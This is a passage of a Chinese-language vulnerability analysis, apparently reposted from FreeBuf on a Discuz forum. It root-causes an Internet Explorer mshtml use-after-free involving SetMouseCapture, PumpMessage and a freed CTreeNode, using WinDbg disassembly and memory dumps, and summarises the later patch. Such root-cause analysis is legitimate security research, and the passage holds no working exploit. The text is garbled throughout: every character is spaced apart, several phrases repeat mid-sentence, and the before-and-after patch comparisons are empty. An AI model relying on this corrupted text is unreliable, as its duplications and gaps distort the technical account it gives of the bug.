t r   [ e b x + 7 5 4 h ] , 1 0 0 0 h 6 3 5 d d c b b   5 6                             p u s h         e s i 6 3 5 d d c b c   5 7                             p u s h         e d i 6 3 5 d d c b d   8 b f 8                         m o v           e d i , e a x 6 3 5 d d c b f   0 f 8 5 6 6 f 6 2 1 0 0         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 1 e   ( 6 3 7 f d 3 2 b ) 6 3 5 d d c c 5   3 3 f 6                         x o r           e s i , e s i 6 3 5 d d c c 7   3 b f e                         c m p           e d i , e s i 6 3 5 d d c c 9   0 f 8 5 7 d 8 6 0 d 0 0         j n e           m s h t m l ! C D o c : : S e t M o u s e C a p t u r e + 0 x 3 2   ( 6 3 6 b 6 3 4 c ) 6 3 5 d d c c f   5 6                             p u s h         e s i 6 3 5 d d c d 0   5 3                             p u s h         e b x 6 3 5 d d c d 1   e 8 1 7 7 8 0 4 0 0             c a l l         m s h t m l ! C D o c : : C l e a r M o u s e C a p t u r e   ( 6 3 6 2 5 4 e d ) 调 用 C l e a r M o u s e C a p t u r e ， 注 意 此 时 l d 1 的 S e t C a p t u r e 还 没 有 完 成 ， 也 就 是 说 焦 点 依 然 在 l d 0 。 C l e a r M o u s e C a p t u r e 显 然 会 触 发 d o c u m e n t . w r i t e 那 句 话 。 按 理 说 这 句 话 应 该 把 所 有 对 象 清 除 。 但 是 我 调 试 的 过 程 中 并 没 发 生 异 常 。 继 续 跟 一 下 。 接 着 在 P u m p M e s s a g e 中 ： 0 : 0 0 8 >   r   e d i e d i = 0 0 2 0 3 f 1 0 0 : 0 0 8 >   r   e c x e c x = 0 0 1 9 5 d e 8 0 : 0 0 8 >   d c   e d i 0 0 2 0 3 f 1 0     0 2 d a 0 0 b 2   0 0 0 0 0 0 0 0   f f f f 6 4 1 0   f f f f f f f f     . . . . . . . . . d . . . . . . 0 0 2 0 3 f 2 0     0 0 0 0 0 5 7 1   0 0 0 0 0 0 0 8   0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0     q . . . . . . . . . . . . . . . 0 : 0 0 8 >   d c   e c x 0 0 1 9 5 d e 8     6 3 6 3 3 f 1 8   0 0 0 0 0 0 1 4   0 0 0 0 0 0 a 8   0 0 0 0 0 0 0 0     . ? c c . . . . . . . . . . . . 0 0 1 9 5 d f 8     0 0 0 0 0 0 0 0   6 3 6 3 b c f c   0 0 1 9 5 d e 8   0 0 1 7 8 e f c     . . . . . . c c . ] . . . . . . 6 3 5 f 5 8 7 a   8 b 7 c 2 4 1 0                 m o v           e d i , d w o r d   p t r   [ e s p + 1 0 h ] 6 3 5 f 5 8 7 e   8 b 4 c 2 4 1 4                 m o v           e c x , d w o r d   p t r   [ e s p + 1 4 h ] 6 3 5 f 5 8 8 2   e 8 d 9 e b f f f f             c a l l         m s h t m l ! C D o c : : H a s C o n t a i n e r C a p t u r e   ( 6 3 5 f 4 4 6 0 ) 确 实 C B o d y E l e m e n t 对 应 的 C T r e e N o d e 不 太 一 样 了 。 跟 进 看 看 跟 进 看 看 :
m s h t m l ! C D o c : : H a s C o n t a i n e r C a p t u r e : 6 3 5 f 4 4 6 0   8 b f f                         m o v           e d i , e d i 6 3 5 f 4 4 6 2   5 5                             p u s h         e b p 6 3 5 f 4 4 6 3   8 b e c                         m o v           e b p , e s p 6 3 5 f 4 4 6 5   5 1                             p u s h         e c x 6 3 5 f 4 4 6 6   5 6                             p u s h         e s i 6 3 5 f 4 4 6 7   e 8 2 1 0 0 0 0 0 0             c a l l         m s h t m l ! C D o c : : G e t L a s t C a p t u r e   ( 6 3 5 f 4 4 8 d ) 6 3 5 f 4 4 6 c   8 b f 0                         m o v           e s i , e a x 6 3 5 f 4 4 6 e   3 3 c 0                         x o r           e a x , e a x 6 3 5 f 4 4 7 0   3 b f 8                         c m p           e d i , e a x 6 3 5 f 4 4 7 2   0 f 8 4 3 0 2 1 0 c 0 0         j e             m s h t m l ! C D o c : : H a s C o n t a i n e r C a p t u r e + 0 x 1 b   ( 6 3 6 b 6 5 a 8 ) 6 3 5 f 4 4 7 8   8 b 0 f                         m o v           e c x , d w o r d   p t r   [ e d i ]     d s : 0 0 2 3 : 0 0 2 0 3 f 1 0 = 0 2 d a 0 0 b 2 6 3 5 f 4 4 7 a   8 9 4 d f c                     m o v           d w o r d   p t r   [ e b p - 4 ] , e c x 这 里 出 问 题 了 应 该 。 C B o d y E l e m e n t 查 找 出 现 问 题 。   接 着 跟 P u m p M e s s a g e ： e c x = 0 0 2 0 3 f 1 0   e d i = 0 0 2 0 3 f 1 0 6 3 5 f 3 f d 9   8 b c f                         m o v           e c x , e d i 6 3 5 f 3 f d b   8 9 7 c 2 4 1 c                 m o v           d w o r d   p t r   [ e s p + 1 C h ] , e d i 6 3 5 f 3 f d f   e 8 2 e e d 0 6 0 0             c a l l         m s h t m l ! C T r e e N o d e : : N o d e A d d R e f   ( 6 3 6 6 2 d 1 2 ) 还 是 跟 进 看 ： 还 是 跟 进 看 ： m s h t m l ! C T r e e N o d e : : N o d e A d d R e f : 6 3 6 6 2 d 1 2   8 b f f                         m o v           e d i , e d i 6 3 6 6 2 d 1 4   5 5                             p u s h         e b p 6 3 6 6 2 d 1 5   8 b e c                         m o v           e b p , e s p 6 3 6 6 2 d 1 7   5 1                             p u s h         e c x 6 3 6 6 2 d 1 8   8 3 6 5 f c 0 0                 a n d           d w o r d   p t r   [ e b p - 4 ] , 0 6 3 6 6 2 d 1 c   e 8 2 c f f f f f f             c a l l         m s h t m l ! C T r e e N o d e : : A d d R e f   ( 6 3 6 6 2 c 4 d ) 6 3 6 6 2 d 2 1   f 6 4 1 4 0 0 2                 t e s t         b y t e   p t r   [ e c x + 4 0 h ] , 2 6 3 6 6 2 d 2 5   0 f 8 5 5 2 0 9 f 9 f f         j n e           m s h t m l ! C T r e e N o d e : : N o d e A d d R e f + 0 x 2 6   ( 6 3 5 f 3 6 7 d ) 6 3 6 6 2 d 2 b   8 d 4 5 f c                     l e a           e a x , [ e b p - 4 ] 6 3 6 6 2 d 2 e   5 0                             p u s h         e a x 6 3 6 6 2 d 2 f   6 8 e 0 9 7 6 3 6 3             p u s h         o f f s e t   m s h t m l ! I I D _ I U n k n o w n   ( 6 3 6 3 9 7 e 0 ) 6 3 6 6 2 d 3 4   5 1                             p u s h         e c x 6 3 6 6 2 d 3 5   e 8 0 7 0 0 0 0 0 0             c a l l         m s h t m l ! C T r e e N o d e : : G e t I n t e r f a c e   ( 6 3 6 6 2 d 4 1 ) 6 3 6 6 2 d 3 a   c 9                             l e a v e 6 3 6 6 2 d 3 b   c 3                             r e t 代 码 非 常 简 单   跟 进 G e t I n t e r f a c e 看 ， 找 到 了 出 问 题 的 代 码 ： 6 3 6 6 2 d b e   8 b 0 3                         m o v           e a x , d w o r d   p t r   [ e b x ]     d s : 0 0 2 3 : 0 0 2 0 3 f 1 0 = 0 2 d a 0 0 b 2 6 3 6 6 2 d c 0   8 b 0 8                         m o v           e c x , d w o r d   p t r   [ e a x ]     d s : 0 0 2 3 : 0 2 d a 0 0 b 2 = 0 0 0 0 0 0 0 0 6 3 6 6 2 d c a   f f 1 1                         c a l l         d w o r d   p t r   [ e c x ] 找 到 问 题 了 ， 就 是 之 前 把 找 到 问 题 了 ， 就 是 之 前 把 C T r e e N o d e 改 掉 了 ， 导 致 改 掉 了 ， 导 致 C B o d y E l e m e n t 对 象 寻 址 错 误 。 典 型 的 对 象 寻 址 错 误 。 典 型 的 U A F 漏 洞 。 漏 洞 。 I E 对 该 漏 洞 进 行 补 丁 ， 将 进 入 对 该 漏 洞 进 行 补 丁 ， 将 进 入 P u m p M e s s a g e 的 判 断 条 件 修 正 了 一 下 ： 如 果 对 象 已 经 不 在 的 判 断 条 件 修 正 了 一 下 ： 如 果 对 象 已 经 不 在 D O M 树 上 ， 将 不 进 入 树 上 ， 将 不 进 入 P u m p M e s s a g e 。 。 补 丁 前 ： 补 丁 后 ：
[ 本 文 作 者 本 文 作 者 / d e d o g g e r ， 本 文 属 ， 本 文 属 F r e e b u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理